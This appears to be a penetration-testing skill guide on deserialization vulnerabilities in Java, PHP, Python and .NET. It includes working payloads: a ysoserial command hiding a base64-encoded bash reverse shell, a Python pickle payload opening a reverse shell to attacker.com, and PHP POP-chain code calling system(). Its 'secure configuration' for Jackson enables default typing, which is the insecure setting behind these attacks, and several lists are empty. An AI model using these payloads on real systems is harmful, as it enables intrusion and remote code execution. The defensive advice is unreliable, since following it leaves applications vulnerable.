Deserialization Vulnerability Testing
Overview
Deserialization vulnerabilities are flaws caused by applications deserializing untrusted data, which can lead to remote code execution, denial of service, and other issues. This skill provides methods for detecting, exploiting, and defending against deserialization vulnerabilities.
Vulnerability Principle
When an application deserializes serialized data into objects, if the data comes from an untrusted source, an attacker can construct malicious serialized data to execute arbitrary code during the deserialization process.
Common Formats
Java
Common Libraries:
- Java Native Serialization
- Jackson
- Fastjson
- XStream
- Apache Commons Collections
PHP
Common Functions:
- unserialize()
- json_decode()
Python
Common Modules:
.NET
Common Classes:
- BinaryFormatter
- SoapFormatter
- DataContractSerializer
Testing Methods
1. Identify Serialized Data
Java Serialization Features:
AC ED 00 05 (Hexadecimal)
rO0 (Base64)
PHP Serialization Features:
O:8:"stdClass"
a:2:{s:4:"test";s:4:"data";}
Python pickle Features:
2. Detect Deserialization Points
Common Locations:
- Cookie values
- Session data
- API parameters
- File uploads
- Cache data
- Message queues
3. Java Deserialization
Apache Commons Collections Exploitation:
java
// Use ysoserial to generate Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
Common Gadget Chains:
- CommonsCollections1-7
- Spring1-2
- ROME
- Jdk7u21
4. PHP Deserialization
Basic Testing:
php
<?php
class Test {
public $cmd = "id";
function __destruct() {
system($this->cmd);
}
}
echo serialize(new Test());
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
?>
Magic Method Exploitation:
- __destruct()
- __wakeup()
- __toString()
- __call()
5. Python pickle
Basic Testing:
python
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
pickle.dumps(RCE())
Exploitation Techniques
Java RCE
Using ysoserial:
bash
# Generate Payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
# Base64 Encoding
base64 -w 0 payload.bin
Manual Construction:
java
// Construct malicious objects using Gadget chains
// Refer to ysoserial source code
PHP RCE
Exploiting POP Chains:
php
<?php
class A {
public $b;
function __destruct() {
$this->b->test();
}
}
class B {
public $c;
function test() {
call_user_func($this->c, "id");
}
}
$a = new A();
$a->b = new B();
$a->b->c = "system";
echo serialize($a);
?>
Python RCE
Pickle RCE:
python
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))
payload = pickle.dumps(RCE())
print(base64.b64encode(payload))
Bypass Techniques
Encoding Bypass
Base64 Encoding:
Original: rO0ABXNy...
Encoded: ck8wQUJYTnk...
URL Encoding:
Filter Bypass
Using Different Gadget Chains:
- If CommonsCollections is filtered, try Spring
- If a certain version is filtered, try other versions
Class Name Obfuscation
Using Reflection:
java
Class.forName("java.lang.Runtime").getMethod("exec", String.class)
Tool Usage
ysoserial
bash
# List available Gadgets
java -jar ysoserial.jar
# Generate Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
# Generate Base64
java -jar ysoserial.jar CommonsCollections1 "command" | base64
PHPGGC
bash
# List available Gadgets
./phpggc -l
# Generate Payload
./phpggc Monolog/RCE1 system id
# Generate Encoded Payload
./phpggc -b Monolog/RCE1 system id
Burp Suite
- Intercept requests containing serialized data
- Use plugins to generate Payloads
- Replace original data
- Observe responses
Verification and Reporting
Verification Steps
- Confirm control over serialized data
- Verify that deserialization triggers code execution
- Assess impact (RCE, data leakage, etc.)
- Record complete POC
Key Reporting Points
- Vulnerability location and serialized data format
- Gadget chain or exploitation method used
- Complete exploitation steps and PoC
- Fix recommendations (input validation, use secure serialization, etc.)
Defensive Measures
Recommended Solutions
-
Avoid deserializing untrusted data
- Use JSON instead
- Use secure serialization formats
-
Input Validation
java
// Whitelist validation for class names
private static final Set<String> ALLOWED_CLASSES =
Set.of("com.example.SafeClass");
private Object readObject(ObjectInputStream ois) {
// Validate class name
// ...
}
-
Use Secure Configurations
java
// Jackson configuration
objectMapper.enableDefaultTyping();
objectMapper.setVisibility(PropertyAccessor.FIELD,
JsonAutoDetect.Visibility.ANY);
-
ClassLoader Isolation
- Use custom ClassLoader
- Restrict loadable classes
-
Monitoring and Logging
- Record deserialization operations
- Monitor abnormal behavior
Notes
- Only perform in authorized testing environments
- Note differences in Gadget chains across library versions
- Pay attention to payload size limits during testing
- Understand the dependency library versions of the target application